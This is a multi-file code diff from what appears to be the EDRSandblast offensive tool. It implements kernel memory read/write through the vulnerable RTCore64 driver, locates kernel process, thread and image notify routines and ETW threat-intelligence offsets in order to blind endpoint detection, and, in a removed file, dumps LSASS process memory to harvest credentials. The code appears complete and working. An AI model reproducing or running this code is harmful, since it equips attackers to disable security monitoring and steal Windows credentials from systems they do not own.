return ((DWORD64)(ReadMemoryDWORD(Device, Address + 4)) << 32) | ReadMemoryDWORD(Device, Address);
}
void WriteMemoryBYTE(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFFF0) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryWORD(HANDLE Device, DWORD64 Address, DWORD64 Value) {
DWORD64 currentValue = ReadMemoryDWORD64(Device, Address);
Value = (currentValue & 0xFFFFFFFFFFFFFF00) | (Value);
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
void WriteMemoryDWORD64(HANDLE Device, DWORD64 Address, DWORD64 Value) {
WriteMemoryPrimitive(Device, 4, Address, Value & 0xffffffff);
WriteMemoryPrimitive(Device, 4, Address + 4, Value >> 32);
}
/*
--- Kernel exploitation helpers.
--- Largely inspired from https://github.com/br-sn/CheekyBlinder
--- Source and credit: https://github.com/br-sn/CheekyBlinder/blob/master/CheekyBlinder/CheekyBlinder.cpp
*/
DWORD64 FindNtoskrnlBaseAddress(void) {
DWORD cbNeeded = 0;
LPVOID drivers[1024];
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
return (DWORD64)drivers[0];
}
return 0;
}
TCHAR* FindDriver(DWORD64 address, BOOL verbose) {
LPVOID drivers[1024];
DWORD cbNeeded;
int cDrivers = 0;
int i = 0;
TCHAR szDriver[1024] = { 0 };
DWORD64 minDiff = MAXDWORD64;
DWORD64 diff;
if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded)) {
cDrivers = cbNeeded / sizeof(drivers[0]);
for (i = 0; i < cDrivers; i++) {
if ((DWORD64)drivers[i] <= address) {
diff = address - (DWORD64)drivers[i];
if (diff < minDiff) {
minDiff = diff;
}
}
}
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
if (GetDeviceDriverBaseName((LPVOID)(address - minDiff), szDriver, _countof(szDriver))) {
if (verbose) {
_tprintf(TEXT("[+] %016llx [%s + 0x%llx]\n"), address, szDriver, minDiff);
}
TCHAR* const ptrDrvier = (LPTSTR)calloc(1024, sizeof(TCHAR));
if (!ptrDrvier) {
_tprintf(TEXT("[!] Couldn't allocate memory to retrieve the driver pointer\n"));
return NULL;
}
_tcscpy_s(ptrDrvier, 1024, szDriver);
return ptrDrvier;
}
else {
_tprintf(TEXT("[!] Could not resolve driver for 0x%I64x, an EDR driver might be missed\n"), address);
return NULL;
}
}
HANDLE GetDriverHandle() {
TCHAR service[] = TEXT("\\\\.\\RTCore64");
HANDLE Device = CreateFile(service, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
if (Device == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] Unable to obtain a handle to the vulnerable driver, exiting...\n"));
exit(EXIT_FAILURE);
}
return Device;
}
DWORD64 GetFunctionAddress(LPCSTR function) {
DWORD64 ntoskrnlBaseAddress = FindNtoskrnlBaseAddress();
DWORD64 address = 0;
HMODULE ntoskrnl = LoadLibrary(TEXT("ntoskrnl.exe"));
if (ntoskrnl) {
DWORD64 offset = (DWORD64)(GetProcAddress(ntoskrnl, function)) - (DWORD64)(ntoskrnl);
address = ntoskrnlBaseAddress + offset;
FreeLibrary(ntoskrnl);
}
// _tprintf(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
WriteKernelMemoryType(BYTE);
WriteKernelMemoryType(WORD);
WriteKernelMemoryType(DWORD);
WriteKernelMemoryType(DWORD64);
BOOL TestReadPrimitive() {
return ReadKernelMemoryWORD(0) == *(WORD*)"MZ";
}
+27 -34
View File
@@ -7,76 +7,69 @@
#include <Windows.h>
#include <Tchar.h>
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "../EDRSandblast.h"
DWORD64 PatternSearchStartingFromAddress(HANDLE Device, DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
DWORD64 PatternSearchStartingFromAddress(DWORD64 startAddress, DWORD bytesToScan, DWORD64 pattern, DWORD64 mask) {
for (DWORD i = 0; i < bytesToScan; i++) {
DWORD64 instructionAddress = startAddress + i;
DWORD64 dword64Instruction = ReadMemoryDWORD64(Device, instructionAddress);
DWORD64 dword64Instruction = ReadMemoryDWORD64(instructionAddress);
DWORD64 dword64InstructionFixed = dword64Instruction & mask;
// _tprintf(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
// _tprintf_or_not(TEXT("i = %i, pattern = 0x%I64x, instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x\n"), i, pattern, instructionAddress, dword64Instruction, dword64InstructionFixed);
if (dword64InstructionFixed == pattern) {
_tprintf(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
_tprintf_or_not(TEXT("[+] Found pattern = 0x%I64x at offset i = %i [instructionAddress = 0x%I64x, wordInstruction = 0x%I64x, wordInstructionFixed = 0x%I64x]\n"), pattern, i, instructionAddress, dword64Instruction, dword64InstructionFixed);
return instructionAddress;
}
}
return 0x0;
}
DWORD64 ExtractRelativeAddress(HANDLE Device, DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(Device, instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 ExtractRelativeAddress(DWORD64 instructionStartAddress, DWORD64 instructionRelativeAddressOffset, DWORD64 nextInstructionOffset) {
DWORD64 procedureRelativeAddress = (signed int)ReadMemoryDWORD64(instructionStartAddress + instructionRelativeAddressOffset);
DWORD64 nextInstructionAddress = instructionStartAddress + nextInstructionOffset;
return nextInstructionAddress + procedureRelativeAddress;
}
DWORD64 GetPspCreateProcessNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspCreateProcessNotifyRoutine address using pattern"));
// Extracting PspSetCreateProcessNotifyRoutine address in PsSetCreateProcessNotifyRoutine using the pattern "E8" (CALL) to match "[e80e010000] call nt!PspSetCreateProcessNotifyRoutine".
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
DWORD64 PsSetCreateProcessNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateProcessNotifyRoutine");
DWORD64 CallPspSetCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateProcessNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateProcessNotifyRoutineAddress, 1, 5);
// Extracting PspCreateProcessNotifyRoutine address in PspSetCreateProcessNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[4c8d2d371ddaff] lea r13,[nt!PspCreateProcessNotifyRoutine".
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
CloseHandle(Device);
DWORD64 LeaPspCreateProcessNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateProcessNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateProcessNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateProcessNotifyRoutineAddress, 3, 7);
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateProcessNotifyRoutine address: 0x%I64x\n"), PspCreateProcessNotifyRoutineAddress);
return PspCreateProcessNotifyRoutineAddress;
}
DWORD64 GetPspCreateThreadNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspCreateThreadNotifyRoutine address using pattern"));
// Extracting nt!PspSetCreateThreadNotifyRoutine address in nt!PsSetCreateThreadNotifyRoutine using the pattern "E8" (CALL) to match "[e865000000] call nt!PspSetCreateThreadNotifyRoutine".
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
DWORD64 PsSetCreateThreadNotifyRoutineAddress = GetKernelFunctionAddress("PsSetCreateThreadNotifyRoutine");
DWORD64 CallPspSetCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetCreateThreadNotifyRoutineAddress, 64, 0x00000000000000E8, 0x00000000000000FF);
DWORD64 PspSetCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(CallPspSetCreateThreadNotifyRoutineAddress, 1, 5);
// Extracting nt!PspCreateThreadNotifyRoutine address in nt!PspSetCreateThreadNotifyRoutine using the pattern "4C 8D" (LEA 4C) to match "[488d0d431cdaff] lea rcx,[nt!PspCreateThreadNotifyRoutine]".
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
CloseHandle(Device);
DWORD64 LeaPspCreateThreadNotifyRoutineAddress = PatternSearchStartingFromAddress(PspSetCreateThreadNotifyRoutineAddress, 256, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspCreateThreadNotifyRoutineAddress = ExtractRelativeAddress(LeaPspCreateThreadNotifyRoutineAddress, 3, 7);
_tprintf_or_not(TEXT("[+] Pattern search found PspCreateThreadNotifyRoutine address: 0x%I64x\n"), PspCreateThreadNotifyRoutineAddress);
return PspCreateThreadNotifyRoutineAddress;
}
DWORD64 GetPspLoadImageNotifyRoutineAddressUsingPattern(void) {
_tprintf(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern\n"));
HANDLE Device = GetDriverHandle();
_putts_or_not(TEXT("[*] Searching for PspLoadImageNotifyRoutine address using pattern"));
// Extracting nt!PspLoadImageNotifyRoutine address directly from nt!PsSetLoadImageNotifyRoutineEx using the pattern "4C 8D" (LEA 4C) to match "[488d0d981ddaff] lea rcx,[nt!PspLoadImageNotifyRoutine]".
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(Device, PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(Device, LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
CloseHandle(Device);
DWORD64 PsSetLoadImageNotifyRoutineExAddress = GetKernelFunctionAddress("PsSetLoadImageNotifyRoutineEx");
DWORD64 LeaPspLoadImageNotifyRoutineAddress = PatternSearchStartingFromAddress(PsSetLoadImageNotifyRoutineExAddress, 128, 0x0000000000008D48, 0x000000000000FFF8);
DWORD64 PspLoadImageNotifyRoutineAddress = ExtractRelativeAddress(LeaPspLoadImageNotifyRoutineAddress, 3, 7);;
_tprintf_or_not(TEXT("[+] Pattern search found PspLoadImageNotifyRoutine address: 0x%I64x\n"), PspLoadImageNotifyRoutineAddress);
return PspLoadImageNotifyRoutineAddress;
}
-95
View File
@@ -1,95 +0,0 @@
/*
--- LSASS dump functions.
*/
#include <Windows.h>
#include <TlHelp32.h>
#include <minidumpapiset.h>
#include <tchar.h>
#include "LSASSDump.h"
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege, BOOL bEnablePrivilege)
{
LUID luid;
BOOL bRet = FALSE;
if (LookupPrivilegeValue(NULL, lpszPrivilege, &luid))
{
TOKEN_PRIVILEGES tp;
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = (bEnablePrivilege) ? SE_PRIVILEGE_ENABLED : 0;
if (AdjustTokenPrivileges(hToken, FALSE, &tp, 0, (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL))
{
bRet = (GetLastError() == ERROR_SUCCESS);
}
}
return bRet;
}
DWORD WINAPI dumpLSASSProcess(void* data) {
HANDLE hProcessSnap;
HANDLE hProcess;
PROCESSENTRY32 pe32;
TCHAR* outputDump = (TCHAR*)data;
//Enable the SeDebugPrivilege
HANDLE hToken;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{
SetPrivilege(hToken, SE_DEBUG_NAME, TRUE);
CloseHandle(hToken);
}
// Take a snapshot of all processes in the system.
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: impossible to get snapshot of the system's processes (CreateToolhelp32Snapshot)\n"));
return 1;
}
// Set the size of the structure before using it.
pe32.dwSize = sizeof(PROCESSENTRY32);
// Retrieve information about the first process,
// and exit if unsuccessful
if (!Process32First(hProcessSnap, &pe32)) {
_tprintf(TEXT("[!] LSASS dump failed: obtained invalid process handle\n")); // show cause of failure
CloseHandle(hProcessSnap); // clean the snapshot object
return 1;
}
// Now walk the snapshot of processes, and look for lsass.
do {
if (_tcscmp(pe32.szExeFile, TEXT("lsass.exe"))) {
continue;
}
hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID);
if (hProcess == NULL || hProcess == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't open lsass memory (OpenProcesswith error 0x%x)\n"), GetLastError());
return 1;
}
HANDLE hDumpFile = CreateFile(outputDump, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDumpFile == INVALID_HANDLE_VALUE) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't create dump file (CreateFileA)\n"));
return 1;
}
BOOL dumped = MiniDumpWriteDump(hProcess, pe32.th32ProcessID, hDumpFile, MiniDumpWithFullMemory, NULL, NULL, NULL);
if (!dumped) {
_tprintf(TEXT("[!] LSASS dump failed: couldn't dump LSASS process (MiniDumpWriteDump with error 0x%x)\n"), GetLastError());
return 1;
}
_tprintf(TEXT("[+] LSASS sucessfully dump to: %s\n"), outputDump);
CloseHandle(hProcess);
} while (Process32Next(hProcessSnap, &pe32));
CloseHandle(hProcessSnap);
return 0;
}
+15
View File
@@ -0,0 +1,15 @@
#include "ListUtils.h"
VOID freeLinkedList(PVOID head) {
PLINKED_LIST previousNode = NULL;
PLINKED_LIST currentNode = (PLINKED_LIST)head;
while (currentNode) {
previousNode = currentNode;
currentNode = currentNode->next;
free(previousNode);
previousNode = NULL;
}
return;
}
+109 -12
View File
@@ -7,24 +7,25 @@
#include <tchar.h>
#include <stdio.h>
#include "NtoskrnlOffsets.h"
#include "FileVersion.h"
#include "PdbSymbols.h"
#include "../EDRSandblast.h"
union NtoskrnlOffsets ntoskrnlOffsets = { 0 };
#include "NtoskrnlOffsets.h"
union NtoskrnlOffsets g_ntoskrnlOffsets = { 0 };
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use.
union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
TCHAR ntoskrnlVersion[256] = { 0 };
GetNtoskrnlVersion(ntoskrnlVersion);
_tprintf(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
void LoadNtoskrnlOffsetsFromFile(TCHAR* ntoskrnlOffsetFilename) {
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
_tprintf_or_not(TEXT("[*] System's ntoskrnl.exe file version is: %s\n"), ntoskrnlVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("r"));
union NtoskrnlOffsets offset_results = { 0 };
if (offsetFileStream == NULL) {
_tprintf(TEXT("[!] Offset CSV file not found / invalid. A valid offset file must be specifed!\n"));
return offset_results;
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
TCHAR lineNtoskrnlVersion[256];
@@ -35,13 +36,109 @@ union NtoskrnlOffsets GetNtoskrnlVersionOffsets(TCHAR* ntoskrnlOffsetFilename) {
_tcscpy_s(lineNtoskrnlVersion, _countof(lineNtoskrnlVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(ntoskrnlVersion, lineNtoskrnlVersion) == 0) {
TCHAR* endptr;
_tprintf(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ntoskrnl.exe (%s)!\n"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
offset_results.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
g_ntoskrnlOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
return offset_results;
}
void SaveNtoskrnlOffsetsToFile(TCHAR* ntoskrnlOffsetFilename) {
LPTSTR ntoskrnlVersion = GetNtoskrnlVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ntoskrnlOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Offset CSV file connot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), ntoskrnlVersion);
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ntoskrnlOffsets.ar[i]);
}
_fputts(TEXT(""), offsetFileStream);
fclose(offsetFileStream);
}
void PrintNtoskrnlOffsets() {
_tprintf_or_not(TEXT("[+] Ntoskrnl offsets: "));
for (int i = 0; i < _SUPPORTED_NTOSKRNL_OFFSETS_END - 1; i++) {
_tprintf_or_not(TEXT(" %llx |"), g_ntoskrnlOffsets.ar[i]);
}
_tprintf_or_not(TEXT("%llx\n"), g_ntoskrnlOffsets.ar[_SUPPORTED_NTOSKRNL_OFFSETS_END - 1]);
}
void LoadNtoskrnlOffsetsFromInternet(BOOL delete_pdb) {
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(GetNtoskrnlPath());
if (sym_ctx == NULL) {
return;
}
g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateProcessNotifyRoutine");
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine = GetSymbolAddress(sym_ctx, "PspCreateThreadNotifyRoutine");
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine = GetSymbolAddress(sym_ctx, "PspLoadImageNotifyRoutine");
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle = GetSymbolAddress(sym_ctx, "EtwThreatIntProvRegHandle");
g_ntoskrnlOffsets.st.eprocess_protection= GetFieldOffset(sym_ctx, "_EPROCESS", L"Protection");
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry= GetFieldOffset(sym_ctx, "_ETW_REG_ENTRY", L"GuidEntry");
g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo = GetFieldOffset(sym_ctx, "_ETW_GUID_ENTRY", L"ProviderEnableInfo");
g_ntoskrnlOffsets.st.psProcessType = GetSymbolAddress(sym_ctx, "PsProcessType");
g_ntoskrnlOffsets.st.psThreadType = GetSymbolAddress(sym_ctx, "PsThreadType");
g_ntoskrnlOffsets.st.object_type_callbacklist = GetFieldOffset(sym_ctx, "_OBJECT_TYPE", L"CallbackList");
UnloadSymbols(sym_ctx, delete_pdb);
}
BOOL NtoskrnlOffsetsAreAllPresent() {
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlEtwtiOffsetsArePresent() && g_ntoskrnlOffsets.st.eprocess_protection != 0 && NtoskrnlObjectCallbackOffsetsArePresent();
}
BOOL NtoskrnlAllKernelCallbacksOffsetsArePresent() {
return NtoskrnlNotifyRoutinesOffsetsArePresent() && NtoskrnlObjectCallbackOffsetsArePresent();
}
BOOL NtoskrnlNotifyRoutinesOffsetsArePresent() {
return g_ntoskrnlOffsets.st.pspCreateProcessNotifyRoutine != 0 &&
g_ntoskrnlOffsets.st.pspCreateThreadNotifyRoutine != 0 &&
g_ntoskrnlOffsets.st.pspLoadImageNotifyRoutine != 0;
}
BOOL NtoskrnlEtwtiOffsetsArePresent() {
return g_ntoskrnlOffsets.st.etwGuidEntry_ProviderEnableInfo != 0 &&
g_ntoskrnlOffsets.st.etwRegEntry_GuidEntry != 0 &&
g_ntoskrnlOffsets.st.etwThreatIntProvRegHandle != 0;
}
BOOL NtoskrnlObjectCallbackOffsetsArePresent() {
return g_ntoskrnlOffsets.st.psProcessType != 0 &&
g_ntoskrnlOffsets.st.psThreadType != 0 &&
g_ntoskrnlOffsets.st.object_type_callbacklist != 0;
}
TCHAR g_ntoskrnlPath[MAX_PATH] = { 0 };
LPTSTR GetNtoskrnlPath() {
if (_tcslen(g_ntoskrnlPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ntoskrnl.exe path.
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), systemDirectory);
_tcscat_s(g_ntoskrnlPath, _countof(g_ntoskrnlPath), TEXT("\\ntoskrnl.exe"));
}
return g_ntoskrnlPath;
}
TCHAR g_ntoskrnlVersion[256] = { 0 };
LPTSTR GetNtoskrnlVersion() {
if (_tcslen(g_ntoskrnlVersion) == 0) {
LPTSTR ntoskrnlPath = GetNtoskrnlPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ntoskrnlPath);
_stprintf_s(g_ntoskrnlVersion, 256, TEXT("ntoskrnl_%s.exe"), versionBuffer);
}
return g_ntoskrnlVersion;
}
@@ -2,6 +2,7 @@
* Functions that browse the PEB structure instead of relying on GetModuleHandle
*/
#include "../EDRSandblast.h"
#include "Undoc.h"
#include "PEBBrowse.h"
#include <stdio.h>
@@ -18,7 +19,7 @@ LDR_DATA_TABLE_ENTRY* getModuleEntryFromNameW(const WCHAR* name) {
}
}
#ifdef _DEBUG
printf("getModuleEntryFromNameW failed to find module\n");
printf_or_not("getModuleEntryFromNameW failed to find module\n");
#endif // _DEBUG
return NULL;
}
@@ -3,6 +3,7 @@
* Among other things, reimplements GetProcAddress and the PE relocation process
*/
#include "../EDRSandblast.h"
#include "PEParser.h"
#include <stdio.h>
#include <assert.h>
@@ -143,7 +144,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
QWORD* relocQwAddress;
if (pe->isMemoryMapped) {
printf("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
printf_or_not("ERROR : Cannot rebase PE that is memory mapped (LoadLibrary'd)\n");
return;
}
if (NULL == pe->relocations) {
@@ -167,7 +168,7 @@ VOID PE_rebasePE(PE* pe, LPVOID newBaseAddress)
*relocQwAddress += ((intptr_t)newBaseAddress) - ((intptr_t)oldBaseAddress);
break;
default:
printf("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
printf_or_not("Unsupported relocation : 0x%x\nExiting...\n", pe->relocations[i].Type);
exit(1);
}
}
@@ -208,6 +209,23 @@ PE* PE_create(PVOID imageBase, BOOL isMemoryMapped) {
pe->exportedNamesLength = pe->exportDirectory->NumberOfNames;
}
pe->relocations = NULL;
DWORD debugRVA = pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress;
if (debugRVA == 0) {
pe->debugDirectory = NULL;
}
else {
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
if (pe->debugDirectory->Type != IMAGE_DEBUG_TYPE_CODEVIEW) {
pe->debugDirectory = NULL;
}
else {
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
if (pe->codeviewDebugInfo->signature != *((DWORD*)"RSDS")) {
pe->debugDirectory = NULL;
pe->codeviewDebugInfo = NULL;
}
}
}
return pe;
}
@@ -255,6 +273,28 @@ PE* PE_create_from_another_address_space(HANDLE hProcess, PVOID imageBase) {
ReadProcessMemory(pe->hProcess, &pe->exportDirectory->NumberOfNames, &pe->exportedNamesLength, sizeof(pe->exportedNamesLength), NULL);
}
pe->relocations = NULL;
DWORD debugRVA = 0;
ReadProcessMemory(hProcess, &pe->dataDir[IMAGE_DIRECTORY_ENTRY_DEBUG].VirtualAddress, &debugRVA, sizeof(debugRVA), NULL);
if (debugRVA == 0) {
pe->debugDirectory = NULL;
}
else {
pe->debugDirectory = PE_RVA_to_Addr(pe, debugRVA);
DWORD debugDirectoryType;
ReadProcessMemory(hProcess, &pe->debugDirectory->Type, &debugDirectoryType, sizeof(debugDirectoryType), NULL);
if (debugDirectoryType != IMAGE_DEBUG_TYPE_CODEVIEW) {
pe->debugDirectory = NULL;
}
else {
pe->codeviewDebugInfo = PE_RVA_to_Addr(pe, pe->debugDirectory->AddressOfRawData);
DWORD codeviewDebugInfoSignature;
ReadProcessMemory(hProcess, &pe->codeviewDebugInfo->signature, &codeviewDebugInfoSignature, sizeof(pe->codeviewDebugInfo->signature), NULL);
if (codeviewDebugInfoSignature != *((DWORD*)"RSDS")) {
pe->debugDirectory = NULL;
pe->codeviewDebugInfo = NULL;
}
}
}
return pe;
}
@@ -289,6 +329,9 @@ DWORD PE_functionRVA(PE* pe, LPCSTR functionName) {
PVOID PE_functionAddr(PE* pe, LPCSTR functionName) {
DWORD functionRVA = PE_functionRVA(pe, functionName);
if (functionRVA == 0) {
return NULL;
}
return PE_RVA_to_Addr(pe, functionRVA);
}
@@ -366,3 +409,12 @@ PVOID PE_search_relative_reference(PE* pe, PVOID target, DWORD relativeReference
}
return NULL;
}
VOID PE_destroy(PE* pe)
{
if (pe->relocations) {
free(pe->relocations);
pe->relocations = NULL;
}
free(pe);
}
+171
View File
@@ -0,0 +1,171 @@
#include <Windows.h>
#include <shlwapi.h>
#include <dbghelp.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileUtils.h"
#include "HttpClient.h"
#include "PEParser.h"
#include "PdbSymbols.h"
BOOL DownloadPDB(GUID guid, DWORD age, LPCWSTR pdb_name_w, PBYTE* file, SIZE_T* file_size) {
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%04hX%04hX%016llX%X/%s", pdb_name_w, guid.Data1, guid.Data2, guid.Data3, _byteswap_uint64(*((DWORD64*)guid.Data4)), age, pdb_name_w);
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
}
BOOL DownloadPDBFromPE(PE* image_pe, PBYTE* file, SIZE_T* file_size) {
WCHAR pdb_name_w[MAX_PATH] = { 0 };
GUID guid = image_pe->codeviewDebugInfo->guid;
DWORD age = image_pe->codeviewDebugInfo->age;
MultiByteToWideChar(CP_UTF8, 0, image_pe->codeviewDebugInfo->pdbName, -1, pdb_name_w, _countof(pdb_name_w));
return DownloadPDB(guid, age, pdb_name_w, file, file_size);
}
BOOL DownloadOriginalFileW(DWORD image_timestamp, DWORD image_size, LPCWSTR image_name, PBYTE* file, SIZE_T* file_size) {
WCHAR full_pdb_uri[MAX_PATH] = { 0 };
swprintf_s(full_pdb_uri, _countof(full_pdb_uri), L"/download/symbols/%s/%08X%X/%s", image_name, image_timestamp, image_size, image_name);
return HttpsDownloadFullFile(L"msdl.microsoft.com", full_pdb_uri, file, file_size);
}
